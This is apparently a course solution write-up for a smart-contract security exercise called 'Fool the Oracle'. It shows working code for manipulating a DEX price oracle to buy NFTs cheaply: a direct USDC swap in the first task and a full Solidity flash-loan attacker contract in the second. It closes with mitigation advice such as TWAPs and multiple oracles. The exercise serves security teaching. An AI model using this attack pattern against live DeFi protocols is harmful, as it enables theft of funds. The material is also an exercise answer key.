Smart Contracts Exercise 06: Fool the Oracle – Solution

The solved Exercise 06 - Fool the Oracle can be found in this GitLab repository.

Solution to Task 1: Fool the Oracle 01

The solution to Task 1 leverages price manipulation in the SimpleDEX, which is being used as a price oracle by the NFT marketplace. By exploiting the price impact mechanics of AMM, we can change the exchange rate between ETH and USDC to make the NFTs much cheaper in ETH terms.

The key steps in the solution are:

1. First, we approve the DEX to spend our USDC tokens:

```
await usdcToken.connect(player).approve(simpleDEX.target, PLAYER_INITIAL_USDC);
```

2. Then, we swap all our USDC (3000) for ETH, which drastically changes the composition of the liquidity pool. This manipulation causes the price of ETH (in USDC terms) to significantly increase:

```
await simpleDEX.connect(player).usdcToEth(PLAYER_INITIAL_USDC);
```

3. Finally, we purchase all three NFTs at the artificially low ETH prices:

```
for (let i = 1; i <= NFT_COUNT; i++) {
    const ethPrice = await nftMarketplace.getCurrentPriceForNFT(i);
    console.log(`Purchasing NFT #${i} for ${ethers.formatEther(ethPrice)} ETH`);
    await nftMarketplace.connect(player).buyNFT(i, { value: ethPrice });
}
```

This attack exploits the fact that the NFT marketplace blindly trusts the DEX as its price oracle without considering that the price could be manipulated through normal trading activities.

Solution to Task 2: Fool the Oracle 02

In Task 2, the DEX has significantly more liquidity (100 ETH and 200,000 USDC), making direct price manipulation much more difficult with our limited funds. Instead, we utilize flash loans to borrow a large amount of USDC, manipulate the price, purchase the NFTs, and repay the loan—all in a single atomic transaction. The solution involves creating a specialized attack contract (FlashLoanNFTAttacker) that implements the flash loan logic and NFT purchasing in its callback function. The key steps are:

1. Deploy the attacker contract with references to all necessary contracts:

```
const FlashLoanNFTAttacker =
await ethers.getContractFactory("FlashLoanNFTAttacker", player);
const attacker = await FlashLoanNFTAttacker.deploy(
flashLoanProvider.target,
usdcToken.target,
simpleDEX.target,
nftMarketplace.target,
studentNFT.target
);
```

2. Send some ETH to the attacker contract to help cover costs of flashloan:

```
const ethToKeep = ethers.parseEther("1.6");
const ethToSend = PLAYER_INITIAL_ETH - ethToKeep;
await player.sendTransaction({
    to: attacker.target,
    value: ethToSend
});
```

3. Execute the flash loan attack, borrowing 150,000 USDC:

```
const borrowAmount = ethers.parseEther("150000"); // 150,000 USDC
await attacker.executeAttack(borrowAmount, { value: estimatedEthNeeded });
```

Inside the attacker contract (FlashLoanNFTAttacker.sol), the `onFlashLoan` callback:

1. Dumps the borrowed USDC into the DEX to manipulate the price (ETH becomes more expensive)
2. Buys the target NFTs at the manipulated (lower) ETH prices
3. Transfers the NFTs to the player
4. Converts remaining ETH back to USDC
5. Repays the flash loan with interest

```
// Flash loan callback function where the actual attack happens
function onFlashLoan(
    address initiator,
    address token,
    uint256 amount,
    uint256 fee,
    bytes calldata data
) external override returns (bytes32) {

    // Decode the NFT ids to buy
    uint256[] memory nftIds = abi.decode(data, (uint256[]));

    // Approve DEX to spend our USDC
    usdcToken.approve(address(dex), amount);

    // Dump all USDC to manipulate the price
    dex.usdcToEth(amount);

    // Buy all target NFTs at the reduced ETH price and transfer to owner
    for (uint i = 0; i < nftIds.length; i++) {
        uint256 ethPrice = marketplace.getCurrentPriceForNFT(nftIds[i]);
        marketplace.buyNFT{value: ethPrice}(nftIds[i]);

        // Transfer the NFT to the owner
        nftContract.transferFrom(address(this), owner, nftIds[i]);
    }

    // Convert ETH back to USDC to repay the loan
    uint256 usdcToRepay = amount + fee;
    uint256 usdcBought = dex.ethToUsdc{value: address(this).balance}();

    // Check if we have enough USDC to repay
    uint256 currentUsdcBalance = usdcToken.balanceOf(address(this));
    if (currentUsdcBalance < usdcToRepay) {
        revert RepaymentFailed(currentUsdcBalance, usdcToRepay);
    }

    // Transfer the tokens to the lender to repay the loan
    usdcToken.transfer(address(lender), usdcToRepay);

    // Transfer any remaining USDC back to the player
    usdcToken.transfer(owner, usdcBought - usdcToRepay);

    // Return the required value to indicate successful flash loan execution
    return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
```

Comment on Mitigation Strategies

Smart contracts relying on price oracles require robust protection against manipulation attacks like those demonstrated in these exercises. Effective mitigation approaches focus on making these attacks economically unfeasible. Time-Weighted Average Prices offer significant protection by averaging prices over extended periods, greatly increasing the capital required for manipulation. Rather than trusting a single source, projects should aggregate data from multiple independent oracles, taking median values to neutralize

outliers. Implementing volume and liquidity monitoring helps detect suspicious activities. When unusually large trades occur relative to pool size, the system can temporarily pause or flag transactions for review. Similarly, setting reasonable price deviation bounds prevents acceptance of manipulated values that fall outside historical volatility patterns. Many production DeFi applications now rely on professional oracle networks like Chainlink, which aggregate data from numerous off-chain sources with built-in manipulation safeguards. For systems potentially vulnerable to flash loan attacks, transaction context analysis can identify and block operations initiated within flash loan transactions by examining the call stack.